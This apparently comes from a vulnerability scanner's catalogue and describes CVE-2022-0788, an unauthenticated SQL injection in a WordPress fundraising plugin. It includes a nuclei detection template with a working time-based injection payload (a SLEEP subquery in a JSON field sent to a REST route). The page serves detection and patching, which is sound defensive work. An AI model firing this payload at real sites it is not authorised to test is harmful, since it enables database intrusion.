WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection

criticalseverity

9.8CVSS score

7.8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress WP Fundraising Donation and Crowdfunding Platform plugin before 1.5.0 contains an unauthenticated SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or manipulation of the WordPress database.

Fix

Update WP Fundraising Donation and Crowdfunding Platform to version 1.5.0 or later to mitigate the vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "Invalid payment.")

Run it with nuclei: nuclei -id CVE-2022-0788 -u <target>

The full check

id: CVE-2022-0788

info:
  name: WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress WP Fundraising Donation and Crowdfunding Platform plugin before 1.5.0 contains an unauthenticated SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or manipulation of the WordPress database.
  remediation: |
    Update WP Fundraising Donation and Crowdfunding Platform to version 1.5.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fbc71710-123f-4c61-9796-a6a4fd354828
    - https://wordpress.org/plugins/wp-fundraising-donation/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0788
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0788
    cwe-id: CWE-89
    epss-score: 0.0775
    epss-percentile: 0.94681
    cpe: cpe:2.3:a:wpmet:wp_fundraising_donation_and_crowdfunding_platform:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpmet
    product: wp_fundraising_donation_and_crowdfunding_platform
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,wp-fundraising-donation,unauth,wpscan,wpmet,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": "(SELECT 1 FROM (SELECT(SLEEP(6)))me)", "formid": "1", "type": "online_payment"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "Invalid payment.")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from